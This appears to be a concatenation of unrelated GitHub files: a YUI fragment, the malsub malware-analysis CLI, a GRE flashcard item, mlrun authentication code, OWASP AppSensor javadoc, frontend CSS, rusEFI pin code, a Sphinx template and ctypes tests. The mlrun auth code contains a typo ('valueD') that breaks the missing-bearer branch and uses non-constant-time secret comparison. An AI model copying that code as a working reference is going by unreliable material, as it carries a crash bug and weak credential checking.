= Y.one(node); if (!n) { if (node !== false) { Y.error('DDNodeScroll: Invalid Node Given: ' + node); } } else { this.set(PARENT_SCROLL, n); } return n; } } }); Y.extend(NS, S, { //Shouldn't have to do this.. initializer: function() { this.set('node', this.get('node')); } }); /** * @property NS * @default nodescroll * @readonly * @protected * @static * @description The NodeScroll instance will be placed on the Drag instance under the nodescroll namespace. * @type {String} */ NS.NAME = NS.NS = 'nodescroll'; Y.Plugin.DDNodeScroll = NS; Y.DD.Scroll = S; }, '3.3.0' ,{requires:['dd-drag'], skinnable:false, optional:['dd-proxy']});
{ "pile_set_name": "Github" }
#!/usr/bin/env python3 """ Usage: malsub [-h] [-a <service>] [-H] [-p <num>] [-R] [-v ...] [-d | -f | -q | -r | -s | -t] [-i | -o | -l | -u] [<input> ...] Interact with online malware, URL and intelligence analysis services for malware samples, domain names, IP addresses or URLs. Options: -h, --help show this help message and exit -a, --analysis <service> character-separated list of services (class or short names) [default: all] -H, --servhelp show help messages about selected services and exit -p, --pause <num> wait an interval in seconds between service requests (rate limit) [default: 0] -R, --recursive recurse on input paths -v, --verbose display verbose and debug messages API functions: -d, --download download files or malware samples -f, --find search for arbitrary terms (input format irrelevant) -q, --quota retrieve API user quota -r, --report retrieve submission reports for domains, files, hash values, IP addresses or URLs -s, --submit submit malware samples or URLs for analysis -t, --test test API calls by calling each service function as defined with some default values Input formats (hash values or files are given as default depending on options): -i, --ipaddr input are IPv4 addresses (applies to '-r' only) -o, --domain input are domain names (applies to '-r' only) -l, --appl input are hash values for application lookups (applies to '-r' only) -u, --url input are URLs (applies to '-r' and '-s' only) Supported hash values: MD5, SHA1, SHA-256 and SHA-512. Examples: - Retrieve user quota for AVCaesar and Hybrid Analysis and be verbose: $ python3 malsub.py -a avc,ha -q -v - Submit an URL for analysis to VirusTotal and output verbose and debug messages: $ python3 malsub.py -vva VirusTotal -su <url> - Submit two files to maltracker, QuickSand and VirusTotal and pause 60 seconds between submissions: $ python3 malsub.py -a mt,qs,virustotal -p 60 -s <file1> <file2> - Retrieve reports for a file, for files under a recursive path and for a hash value: $ python3 malsub.py -a VxStream,vt -rRv <file> <path> <hash> - Retrieve analysis reports of a domain from all supporting services: $ python3 malsub.py -or <domain> - Retrieve analysis reports of a domain from all supporting services, but exclude ThreatCrowd and maltracker: $ python3 malsub.py -a all,-ThreatCrowd,-mt -or <domain> - Retrieve an analysis report from PDF Examiner of a PDF file identified by its hash value: $ python3 malsub.py -a pe -r <hash> - Download a malware sample from MalShare: $ python3 malsub.py -a ms -d <hash> Copyright (c) 2017 Diogo Fernandes https://github.com/diogo-fern/malsub """ from docopt import docopt, printable_usage from malsub.core import main if __name__ == '__main__': exit(main.run(docopt(__doc__), printable_usage(__doc__))) # https://malwareconfig.com/api/ # http://www.cryptam.com/ # https://github.com/mwtracker/cryptam_tools # notes # pyflakes, pylint, pychecker, and pep8 # CONTRIBUTING.md # -b # open URLs in the browser # make groups # -g mal # -g intel # -g url # relative/full path for data/ and downl/ # password-protected samples # compression # read file or files from pipe? stdin # find malware_samples/ -exec cat {} \; | malsub # interactive console # history of commands and output # cache stuff # submit a sample # get report minutes later just by issuing "check" # pip3.6 freeze > requirements.txt
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <item xmlns="http://www.supermemo.net/2006/smux"> <lesson-title>GRE词汇:《再要你命三千》</lesson-title> <chapter-title>List 28</chapter-title> <question-title>根据单词,回想词义</question-title> <question><span style='font-size:18; font-family:Comic Sans MS; font-weight:normal; font-style:normal; color:#550000'>hierarchical</span><br/><span style='font-size:14; font-family:微软雅黑; font-weight:normal; font-style:normal; color:#000000'>[&lt;font face="Kingsoft Phonetic"&gt;7haiE5rB:kikEl&lt;/font&gt;]</span><br/></question> <answer>【考法 1】 adj. 分等级的,等级制的: classified according to various criteria into successive levels or layers&lt;br&gt;【例】 the traditional hierarchical system of military organization 军队中传统的等级制度&lt;br&gt;【近】 graded, graduated, ranked&lt;br&gt;【派】 hierarchy n. 等级制度&lt;br&gt;&lt;br&gt;<br/></answer> <question-audio>true</question-audio> <modified>2011-10-14</modified> <template-id>10028</template-id> </item>
{ "pile_set_name": "Github" }
from base64 import b64decode from http import HTTPStatus from typing import Generator from fastapi import Request from sqlalchemy.orm import Session from mlrun.api.api.utils import log_and_raise from mlrun.api.db.session import create_session, close_session from mlrun.config import config def get_db_session() -> Generator[Session, None, None]: try: db_session = create_session() yield db_session finally: close_session(db_session) class AuthVerifier: _basic_prefix = "Basic " _bearer_prefix = "Bearer " def __init__(self, request: Request): self.username = None self.password = None self.token = None cfg = config.httpdb header = request.headers.get("Authorization", "") if self._basic_auth_required(cfg): if not header.startswith(self._basic_prefix): log_and_raise( HTTPStatus.UNAUTHORIZED.value, reason="missing basic auth" ) user, password = self._parse_basic_auth(header) if user != cfg.user or password != cfg.password: log_and_raise(HTTPStatus.UNAUTHORIZED.value, reason="bad basic auth") self.username = user self.password = password elif self._bearer_auth_required(cfg): if not header.startswith(self._bearer_prefix): log_and_raise( HTTPStatus.UNAUTHORIZED.valueD, reason="missing bearer auth" ) token = header[len(self._bearer_prefix) :] if token != cfg.token: log_and_raise(HTTPStatus.UNAUTHORIZED.value, reason="bad basic auth") self.token = token @staticmethod def _basic_auth_required(cfg): return cfg.user or cfg.password @staticmethod def _bearer_auth_required(cfg): return cfg.token @staticmethod def _parse_basic_auth(header): """ parse_basic_auth('Basic YnVnczpidW5ueQ==') ['bugs', 'bunny'] """ b64value = header[len(AuthVerifier._basic_prefix) :] value = b64decode(b64value).decode() return value.split(":", 1)
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0) on Fri Oct 02 00:10:11 EDT 2015 --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>AppSensorApi.AsyncClient.Factory (appsensor-parent 2.2.0 API)</title> <meta name="date" content="2015-10-02"> <link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="AppSensorApi.AsyncClient.Factory (appsensor-parent 2.2.0 API)"; } } catch(err) { } //--> var methods = {"i0":10}; var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]}; var altColor = "altColor"; var rowColor = "rowColor"; var tableTab = "tableTab"; var activeTableTab = "activeTableTab"; </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">org.owasp.appsensor.rpc.thrift.generated</div> <h2 title="Class AppSensorApi.AsyncClient.Factory" class="title">Class AppSensorApi.AsyncClient.Factory</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li><a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">java.lang.Object</a></li> <li> <ul class="inheritance"> <li>org.owasp.appsensor.rpc.thrift.generated.AppSensorApi.AsyncClient.Factory</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <dl> <dt>All Implemented Interfaces:</dt> <dd>org.apache.thrift.async.TAsyncClientFactory&lt;<a href="../../../../../../org/owasp/appsensor/rpc/thrift/generated/AppSensorApi.AsyncClient.html" title="class in org.owasp.appsensor.rpc.thrift.generated">AppSensorApi.AsyncClient</a>&gt;</dd> </dl> <dl> <dt>Enclosing class:</dt> <dd><a href="../../../../../../org/owasp/appsensor/rpc/thrift/generated/AppSensorApi.AsyncClient.html" title="class in org.owasp.appsensor.rpc.thrift.generated">AppSensorApi.AsyncClient</a></dd> </dl> <hr> <br> <pre>public static class <span class="typeNameLabel">AppSensorApi.AsyncClient.Factory</span> extends <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a> implements org.apache.thrift.async.TAsyncClientFactory&lt;<a href="../../../../../../org/owasp/appsensor/rpc/thrift/generated/AppSensorApi.AsyncClient.html" title="class in org.owasp.appsensor.rpc.thrift.generated">AppSensorApi.AsyncClient</a>&gt;</pre> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor.summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation"> <caption><span>Constructors</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tr class="altColor"> <td class="colOne"><code><span class="memberNameLink"><a href="../../../../../../org/owasp/appsensor/rpc/thrift/generated/AppSensorApi.AsyncClient.Factory.html#Factory-org.apache.thrift.async.TAsyncClientManager-org.apache.thrift.protocol.TProtocolFactory-">Factory</a></span>(org.apache.thrift.async.TAsyncClientManager&nbsp;clientManager, org.apache.thrift.protocol.TProtocolFactory&nbsp;protocolFactory)</code></td> </tr> </table> </li> </ul> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method.summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd">&nbsp;</span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd">&nbsp;</span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd">&nbsp;</span></span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr id="i0" class="altColor"> <td class="colFirst"><code><a href="../../../../../../org/owasp/appsensor/rpc/thrift/generated/AppSensorApi.AsyncClient.html" title="class in org.owasp.appsensor.rpc.thrift.generated">AppSensorApi.AsyncClient</a></code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../org/owasp/appsensor/rpc/thrift/generated/AppSensorApi.AsyncClient.Factory.html#getAsyncClient-org.apache.thrift.transport.TNonblockingTransport-">getAsyncClient</a></span>(org.apache.thrift.transport.TNonblockingTransport&nbsp;transport)</code></td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class&nbsp;java.lang.<a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a></h3> <code><a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#clone--" title="class or interface in java.lang">clone</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#equals-java.lang.Object-" title="class or interface in java.lang">equals</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#finalize--" title="class or interface in java.lang">finalize</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#getClass--" title="class or interface in java.lang">getClass</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#hashCode--" title="class or interface in java.lang">hashCode</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#notify--" title="class or interface in java.lang">notify</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#notifyAll--" title="class or interface in java.lang">notifyAll</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#toString--" title="class or interface in java.lang">toString</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#wait--" title="class or interface in java.lang">wait</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#wait-long-" title="class or interface in java.lang">wait</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#wait-long-int-" title="class or interface in java.lang">wait</a></code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ========= CONSTRUCTOR DETAIL ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor.detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a name="Factory-org.apache.thrift.async.TAsyncClientManager-org.apache.thrift.protocol.TProtocolFactory-"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>Factory</h4> <pre>public&nbsp;Factory(org.apache.thrift.async.TAsyncClientManager&nbsp;clientManager, org.apache.thrift.protocol.TProtocolFactory&nbsp;protocolFactory)</pre> </li> </ul> </li> </ul> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method.detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="getAsyncClient-org.apache.thrift.transport.TNonblockingTransport-"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>getAsyncClient</h4> <pre>public&nbsp;<a href="../../../../../../org/owasp/appsensor/rpc/thrift/generated/AppSensorApi.AsyncClient.html" title="class in org.owasp.appsensor.rpc.thrift.generated">AppSensorApi.AsyncClient</a>&nbsp;getAsyncClient(org.apache.thrift.transport.TNonblockingTransport&nbsp;transport)</pre> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <p class="legalCopy"><small>Copyright &#169; 2015 <a href="http://www.owasp.org">The Open Web Application Security Project (OWASP)</a>. All rights reserved.</small></p> </body> </html>
{ "pile_set_name": "Github" }
// // This is the server side entry point for the React app. // import ReduxRouterEngine from "electrode-redux-router-engine"; import { routes } from "../../client/routes"; // // This function is exported as the content for the webapp plugin. // // See config/default.json under plugins.webapp on specifying the content. // // When the Web server hits the routes handler installed by the webapp plugin, it // will call this function to retrieve the content for SSR if it's enabled. // // let routesEngine; module.exports = req => { if (!routesEngine) { routesEngine = new ReduxRouterEngine({ routes }); } return routesEngine.render(req); };
{ "pile_set_name": "Github" }
import styled from '@emotion/styled' import { opacify } from 'polished' export const InlinetooltipWrapper = styled.div` // BASE //position: absolute; z-index: 10; width: ${(props) => props.theme.tooltip_size}; height: ${(props) => props.theme.tooltip_size}; -webkit-transition: opacity 100ms, width 0 linear 250ms; transition: opacity 100ms, width 0 linear 250ms; padding: 0; font-size: 0; opacity: 0; pointer-events: none; &.is-active { opacity: 1; pointer-events: auto; } &.is-scaled { -webkit-transition-delay: 0; transition-delay: 0; width: auto; .control { -webkit-transition: -webkit-${(props) => props.theme.tooltip_backward_transition}, ${(props) => props.theme.tooltip_default_transition}; transition: ${(props) => props.theme.tooltip_backward_transition}, ${(props) => props.theme.tooltip_default_transition}; -webkit-transform: rotate(45deg) !important; -ms-transform: rotate(45deg) !important; transform: rotate(45deg) !important; border-color: ${(props) => props.theme.tooltip_color}; color: ${(props) => props.theme.tooltip_color}; } .scale { -webkit-transform: scale(1) !important; -ms-transform: scale(1) !important; transform: scale(1) !important; -webkit-transition: -webkit-${(props) => props.theme.tooltip_backward_transition}, ${(props) => props.theme.tooltip_default_transition} !important; transition: ${(props) => props.theme.tooltip_backward_transition}, ${(props) => props.theme.tooltip_default_transition} !important; } } // MENU .inlineTooltip-menu { display: flex; svg path{ fill: ${(props) => props.theme.tooltip_color}; } } // BUTTON .inlineTooltip-button { // BASE float: left; margin-right: ${(props) => props.theme.tooltip_button_spacing}; display: inline-block; position: relative; outline: 0; padding: 0; vertical-align: bottom; box-sizing: border-box; border-radius: ${(props) => props.theme.tooltip_border_radius}; cursor: pointer; font-size: 14px; text-decoration: none; font-family: ${(props) => props.theme.dante_font_family_sans}; letter-spacing: -0.02em; font-weight: 400; font-style: normal; white-space: nowrap; text-rendering: auto; text-align: center; text-rendering: optimizeLegibility; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; -moz-font-feature-settings: "liga" on; width: ${(props) => props.theme.tooltip_size}; height: ${(props) => props.theme.tooltip_size}; line-height: ${(props) => props.theme.tooltip_line_height}; -webkit-transition: 100ms border-color, 100ms color; transition: 100ms border-color, 100ms color; background: ${(props) => props.theme.tooltip_background_color}; border: ${(props) => props.theme.tooltip_border_width} solid; border-color: ${(props) => opacify(0.2, props.theme.tooltip_border_color)}; color: ${(props) => props.theme.tooltip_color}; &:hover { border-color: ${(props) => opacify(0.4, props.theme.tooltip_border_color)} color: rgba(${(props) => props.theme.tooltip_color}, ${(props) => props.theme.tooltip_color_opacity_hover}); } svg path { fill: ${(props) => props.theme.tooltip_color}; } // SCALE &.scale { -webkit-transform: scale(0); -ms-transform: scale(0); transform: scale(0); -webkit-transition: -webkit-${(props) => props.theme.tooltip_forward_transition}, ${(props) => props.theme.tooltip_default_transition}; transition: ${(props) => props.theme.tooltip_forward_transition}, ${(props) => props.theme.tooltip_default_transition}; svg path { fill: ${(props) => props.theme.tooltip_color}; } //@while ${(props) => props.theme.tooltip_items} > 0 { // &:nth-of-type(${(props) => props.theme.tooltip_items + 1}) { // -webkit-transition-delay: ${(props) => props.theme.tooltip_item_delay * props.theme.tooltip_items} + "ms"}; // transition-delay: ${(props) => props.theme.tooltip_item_delay * props.theme.tooltip_items} + "ms"}; // } // ${(props) => props.theme.tooltip_items}: ${(props) => props.theme.tooltip_items - 1}; //} } // CONTROL &.control { display: block; position: absolute; margin-right: ${(props) => props.theme.tooltip_menu_spacing}; padding-top: 4px; -webkit-transition: -webkit-${(props) => props.theme.tooltip_forward_transition}, ${(props) => props.theme.tooltip_default_transition}; transition: ${(props) => props.theme.tooltip_forward_transition}, ${(props) => props.theme.tooltip_default_transition}; -webkit-transform: rotate(0); -ms-transform: rotate(0); transform: rotate(0); } `
{ "pile_set_name": "Github" }
/** * @file kinetis_pins.cpp * @brief Kinetis-compatible GPIO code * * @date Jun 02, 2019 * @author Andrey Belomutskiy, (c) 2012-2020 * @author andreika <[email protected]> */ #include "global.h" #include "engine.h" #include "efi_gpio.h" #if EFI_GPIO_HARDWARE // This is the radical departure from STM32 #define PORT_SIZE 18 static ioportid_t ports[] = {GPIOA, GPIOB, GPIOC, GPIOD, GPIOE }; #define PIN_REPO_SIZE (sizeof(ports) / sizeof(ports[0])) * PORT_SIZE // todo: move this into PinRepository class static const char *PIN_USED[PIN_REPO_SIZE + BOARD_EXT_PINREPOPINS]; #include "pin_repository.h" #include "io_pins.h" /** * @deprecated - use hwPortname() instead */ const char *portname(ioportid_t GPIOx) { if (GPIOx == GPIOA) return "PA"; if (GPIOx == GPIOB) return "PB"; if (GPIOx == GPIOC) return "PC"; if (GPIOx == GPIOD) return "PD"; if (GPIOx == GPIOE) return "PE"; return "unknown"; } static int getPortIndex(ioportid_t port) { efiAssert(CUSTOM_ERR_ASSERT, port != NULL, "null port", -1); if (port == GPIOA) return 0; if (port == GPIOB) return 1; if (port == GPIOC) return 2; if (port == GPIOD) return 3; if (port == GPIOE) return 4; firmwareError(CUSTOM_ERR_UNKNOWN_PORT, "unknown port"); return -1; } ioportid_t getBrainPort(brain_pin_e brainPin) { return ports[(brainPin - GPIOA_0) / PORT_SIZE]; } int getBrainPinIndex(brain_pin_e brainPin) { return (brainPin - GPIOA_0) % PORT_SIZE; } int getBrainIndex(ioportid_t port, ioportmask_t pin) { int portIndex = getPortIndex(port); return portIndex * PORT_SIZE + pin; } ioportid_t getHwPort(const char *msg, brain_pin_e brainPin) { if (brainPin == GPIO_UNASSIGNED || brainPin == GPIO_INVALID) return GPIO_NULL; if (brainPin < GPIOA_0 || brainPin > BRAIN_PIN_LAST_ONCHIP) { firmwareError(CUSTOM_ERR_INVALID_PIN, "%s: Invalid brain_pin_e: %d", msg, brainPin); return GPIO_NULL; } return ports[(brainPin - GPIOA_0) / PORT_SIZE]; } /** * this method returns the numeric part of pin name. For instance, for PC13 this would return '13' */ ioportmask_t getHwPin(const char *msg, brain_pin_e brainPin) { if (brainPin == GPIO_UNASSIGNED || brainPin == GPIO_INVALID) return EFI_ERROR_CODE; if (brain_pin_is_onchip(brainPin)) return getBrainPinIndex(brainPin); firmwareError(CUSTOM_ERR_INVALID_PIN, "%s: Invalid on-chip brain_pin_e: %d", msg, brainPin); return EFI_ERROR_CODE; } /** * Parse string representation of physical pin into brain_pin_e ordinal. * * @return GPIO_UNASSIGNED for "none", GPIO_INVALID for invalid entry */ brain_pin_e parseBrainPin(const char *str) { if (strEqual(str, "none")) return GPIO_UNASSIGNED; // todo: create method toLowerCase? if (str[0] != 'p' && str[0] != 'P') { return GPIO_INVALID; } char port = str[1]; brain_pin_e basePin; if (port >= 'a' && port <= 'z') { basePin = (brain_pin_e) ((int) GPIOA_0 + PORT_SIZE * (port - 'a')); } else if (port >= 'A' && port <= 'Z') { basePin = (brain_pin_e) ((int) GPIOA_0 + PORT_SIZE * (port - 'A')); } else { return GPIO_INVALID; } const char *pinStr = str + 2; int pin = atoi(pinStr); return (brain_pin_e)(basePin + pin); } unsigned int getNumBrainPins(void) { return PIN_REPO_SIZE; } void initBrainUsedPins(void) { memset(PIN_USED, 0, sizeof(PIN_USED)); } const char* & getBrainUsedPin(unsigned int idx) { return PIN_USED[idx]; } #endif /* EFI_GPIO_HARDWARE */
{ "pile_set_name": "Github" }
{% extends '!breadcrumbs.html' %} {% block breadcrumbs %} <li><a href="{{ pathto(master_doc) }}">{{ _('Docs') }}</a> &raquo;</li> {% for doc in parents %} <li><a href="{{ doc.link|e }}">{{ doc.title }}</a> &raquo;</li> {% endfor %} <li>{{ title }}</li> {% endblock %} {% block breadcrumbs_aside %} <li class="wy-breadcrumbs-aside"> {% if hasdoc(pagename) %} {% if display_github %} {% if check_meta and 'github_url' in meta %} <!-- User defined GitHub URL --> <a href="{{ meta['github_url'] }}" class="fa fa-github"> {{ _('Edit on GitHub') }}</a> {% else %} <a href="https://{{ github_host|default("github.com") }}/{{ github_user }}/{{ github_repo }}/{{ theme_vcs_pageview_mode|default("blob") }}/{{ github_version }}{{ conf_py_path }}{{ pagename }}{{ suffix }}" class="fa fa-github"> {{ _('Edit on GitHub') }}</a> {% endif %} {% elif display_bitbucket %} {% if check_meta and 'bitbucket_url' in meta %} <!-- User defined Bitbucket URL --> <a href="{{ meta['bitbucket_url'] }}" class="fa fa-bitbucket"> {{ _('Edit on Bitbucket') }}</a> {% else %} <a href="https://bitbucket.org/{{ bitbucket_user }}/{{ bitbucket_repo }}/src/{{ bitbucket_version}}{{ conf_py_path }}{{ pagename }}{{ suffix }}?mode={{ theme_vcs_pageview_mode|default("view") }}" class="fa fa-bitbucket"> {{ _('Edit on Bitbucket') }}</a> {% endif %} {% elif display_gitlab %} {% if check_meta and 'gitlab_url' in meta %} <!-- User defined GitLab URL --> <a href="{{ meta['gitlab_url'] }}" class="fa fa-gitlab"> {{ _('Edit on GitLab') }}</a> {% else %} <a href="https://{{ gitlab_host|default("gitlab.com") }}/{{ gitlab_user }}/{{ gitlab_repo }}/{{ theme_vcs_pageview_mode|default("blob") }}/{{ gitlab_version }}{{ conf_py_path }}{{ pagename }}{{ suffix }}" class="fa fa-gitlab"> {{ _('Edit on GitLab') }}</a> {% endif %} {% elif show_source and source_url_prefix %} <a href="{{ source_url_prefix }}{{ pagename }}{{ suffix }}">{{ _('View page source') }}</a> {% elif show_source and has_source and sourcename %} <a href="{{ pathto('_sources/' + sourcename, true)|e }}" rel="nofollow"> {{ _('View page source') }}</a> {% endif %} {% endif %} </li> <li class="wy-breadcrumbs-aside"> <a href="https://jupyter.org/documentation"> <img src="{{ pathto('_static/jupyter_logo.svg', 1) }}"></img> {{ _('Jupyter') }} </a> &vert; &nbsp; </li> {% endblock %}
{ "pile_set_name": "Github" }
import unittest, sys from ctypes import * import _ctypes_test ctype_types = [c_byte, c_ubyte, c_short, c_ushort, c_int, c_uint, c_long, c_ulong, c_longlong, c_ulonglong, c_double, c_float] python_types = [int, int, int, int, int, long, int, long, long, long, float, float] class PointersTestCase(unittest.TestCase): def test_pointer_crash(self): class A(POINTER(c_ulong)): pass POINTER(c_ulong)(c_ulong(22)) # Pointer can't set contents: has no _type_ self.assertRaises(TypeError, A, c_ulong(33)) def test_pass_pointers(self): dll = CDLL(_ctypes_test.__file__) func = dll._testfunc_p_p func.restype = c_long i = c_int(12345678) ## func.argtypes = (POINTER(c_int),) address = func(byref(i)) self.assertEqual(c_int.from_address(address).value, 12345678) func.restype = POINTER(c_int) res = func(pointer(i)) self.assertEqual(res.contents.value, 12345678) self.assertEqual(res[0], 12345678) def test_change_pointers(self): dll = CDLL(_ctypes_test.__file__) func = dll._testfunc_p_p i = c_int(87654) func.restype = POINTER(c_int) func.argtypes = (POINTER(c_int),) res = func(pointer(i)) self.assertEqual(res[0], 87654) self.assertEqual(res.contents.value, 87654) # C code: *res = 54345 res[0] = 54345 self.assertEqual(i.value, 54345) # C code: # int x = 12321; # res = &x x = c_int(12321) res.contents = x self.assertEqual(i.value, 54345) x.value = -99 self.assertEqual(res.contents.value, -99) def test_callbacks_with_pointers(self): # a function type receiving a pointer PROTOTYPE = CFUNCTYPE(c_int, POINTER(c_int)) self.result = [] def func(arg): for i in range(10): ## print arg[i], self.result.append(arg[i]) ## print return 0 callback = PROTOTYPE(func) dll = CDLL(_ctypes_test.__file__) # This function expects a function pointer, # and calls this with an integer pointer as parameter. # The int pointer points to a table containing the numbers 1..10 doit = dll._testfunc_callback_with_pointer ## i = c_int(42) ## callback(byref(i)) ## self.assertEqual(i.value, 84) doit(callback) ## print self.result doit(callback) ## print self.result def test_basics(self): from operator import delitem for ct, pt in zip(ctype_types, python_types): i = ct(42) p = pointer(i) ## print type(p.contents), ct self.assertIs(type(p.contents), ct) # p.contents is the same as p[0] ## print p.contents ## self.assertEqual(p.contents, 42) ## self.assertEqual(p[0], 42) self.assertRaises(TypeError, delitem, p, 0) def test_from_address(self): from array import array a = array('i', [100, 200, 300, 400, 500]) addr = a.buffer_info()[0] p = POINTER(POINTER(c_int)) ## print dir(p) ## print p.from_address ## print p.from_address(addr)[0][0] def test_other(self): class Table(Structure): _fields_ = [("a", c_int), ("b", c_int), ("c", c_int)] pt = pointer(Table(1, 2, 3)) self.assertEqual(pt.contents.a, 1) self.assertEqual(pt.contents.b, 2) self.assertEqual(pt.contents.c, 3) pt.contents.c = 33 from ctypes import _pointer_type_cache del _pointer_type_cache[Table] def test_basic(self): p = pointer(c_int(42)) # Although a pointer can be indexed, it has no length self.assertRaises(TypeError, len, p) self.assertEqual(p[0], 42) self.assertEqual(p[0:1], [42]) self.assertEqual(p.contents.value, 42) def test_charpp(self): """Test that a character pointer-to-pointer is correctly passed""" dll = CDLL(_ctypes_test.__file__) func = dll._testfunc_c_p_p func.restype = c_char_p argv = (c_char_p * 2)() argc = c_int( 2 ) argv[0] = 'hello' argv[1] = 'world' result = func( byref(argc), argv ) assert result == 'world', result def test_bug_1467852(self): # http://sourceforge.net/tracker/?func=detail&atid=532154&aid=1467852&group_id=71702 x = c_int(5) dummy = [] for i in range(32000): dummy.append(c_int(i)) y = c_int(6) p = pointer(x) pp = pointer(p) q = pointer(y) pp[0] = q # <== self.assertEqual(p[0], 6) def test_c_void_p(self): # http://sourceforge.net/tracker/?func=detail&aid=1518190&group_id=5470&atid=105470 if sizeof(c_void_p) == 4: self.assertEqual(c_void_p(0xFFFFFFFFL).value, c_void_p(-1).value) self.assertEqual(c_void_p(0xFFFFFFFFFFFFFFFFL).value, c_void_p(-1).value) elif sizeof(c_void_p) == 8: self.assertEqual(c_void_p(0xFFFFFFFFL).value, 0xFFFFFFFFL) self.assertEqual(c_void_p(0xFFFFFFFFFFFFFFFFL).value, c_void_p(-1).value) self.assertEqual(c_void_p(0xFFFFFFFFFFFFFFFFFFFFFFFFL).value, c_void_p(-1).value) self.assertRaises(TypeError, c_void_p, 3.14) # make sure floats are NOT accepted self.assertRaises(TypeError, c_void_p, object()) # nor other objects def test_pointers_bool(self): # NULL pointers have a boolean False value, non-NULL pointers True. self.assertEqual(bool(POINTER(c_int)()), False) self.assertEqual(bool(pointer(c_int())), True) self.assertEqual(bool(CFUNCTYPE(None)(0)), False) self.assertEqual(bool(CFUNCTYPE(None)(42)), True) # COM methods are boolean True: if sys.platform == "win32": mth = WINFUNCTYPE(None)(42, "name", (), None) self.assertEqual(bool(mth), True) def test_pointer_type_name(self): LargeNamedType = type('T' * 2 ** 25, (Structure,), {}) self.assertTrue(POINTER(LargeNamedType)) # to not leak references, we must clean _pointer_type_cache from ctypes import _pointer_type_cache del _pointer_type_cache[LargeNamedType] def test_pointer_type_str_name(self): large_string = 'T' * 2 ** 25 P = POINTER(large_string) self.assertTrue(P) # to not leak references, we must clean _pointer_type_cache from ctypes import _pointer_type_cache del _pointer_type_cache[id(P)] if __name__ == '__main__': unittest.main()
{ "pile_set_name": "Github" }
